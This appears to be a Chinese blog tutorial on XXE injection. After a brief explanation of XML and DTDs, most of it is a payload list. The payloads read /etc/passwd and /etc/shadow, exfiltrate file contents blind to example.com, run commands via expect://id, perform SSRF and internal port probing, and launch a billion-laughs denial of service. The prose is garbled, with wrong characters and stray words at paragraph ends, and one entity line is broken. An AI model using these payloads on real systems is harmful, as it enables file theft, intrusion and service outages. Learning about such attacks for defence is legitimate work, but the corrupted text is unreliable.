xxe学习

什么是xml

xml是一种具备结构性的标记语言,用来标记数据,定义数据类型,容许用户本身定义的源语言。在解析外部实体的过程当中,XML解析器能够根据URL中指定的方案(协议)来查询各类网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中建立动态引用很是有用,这样对引用资源所作的任何更改都会在文档中自动更新。 可是,在处理外部实体时,能够针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各类方案的网络访问功能来操纵内部应用程序。 经过将这些攻击与其余实现缺陷相结合,这些攻击的范围能够扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文html

什么是DTD

一种文档类型定义 xml中标签自己是能够随便定义的二,DTD至关于给xml标签作个了类型限制约束服务器

例如:

    xxe.xml文件

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE 班级 SYSTEM "xxe.dtd">
    <!--引入dtd文件,约束xml-->>
    <班级>
        <学生>
           <名字>xss</名字>
           <年龄>2</年龄>
           <介绍>1</介绍>    
        </学生>
    </班级>


     xxe.dtd文件

    <!ELEMENT 班级 (学生+)>
    <!ELEMENT 学生 (名字,年龄,介绍)>
    <!ELEMENT 名字(#PEDATA)>
    <!ELEMENT 年龄(#PEDATA)>
    <!ELEMENT 介绍(#PEDATA)>

参考大佬博客(https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-2-4-0)网络

xxe漏洞

又称为xml外部实体注入漏洞,发生在应用程序解析xml输入时,没有禁止外部实体的加载,致使可加载恶意外部文件,形成文件读取,命令执行,内网端口扫描,攻击内网网站,dos攻击等xss

例如:网站

有了xml实体,ststem会令xml解析器从url中读取内容,并容许它在xml文档中被替换。所以攻击者能够经过实体将他定义的值发送给应用程序而后实现。ui

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
        <value>&passwd;</value>
</foo>

xml外部实体passwd被赋值成了file:///etc/passwd  所以运行解析时passwd就变成了file:///ect/passwd的内容

按输出信息不一样能够分红

  1. 正常回显xxe
  • 直接利用服务器回显信息进行xxe攻击
  1. 报错xxe
  • 正常回显时会报错,经过报错信息判断是否注入成功
  1. 盲注xxe(blind)最多见
  • 能够用file协议http协议ftp协议等伪协议配合使用

payload

基本的xml注入

<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>

实体实例

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

文件泄露

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

拒绝服务

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

本地文件包含

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

本地文件包含blind

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]>
<foo>&blind;</foo>

ssrf

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

任意文件读取

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;<hhh>

执行系统命令

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "expect://id">
]>

<hhh>&f;<hhh>

内网探测端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
  <!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
相关文章
相关标签/搜索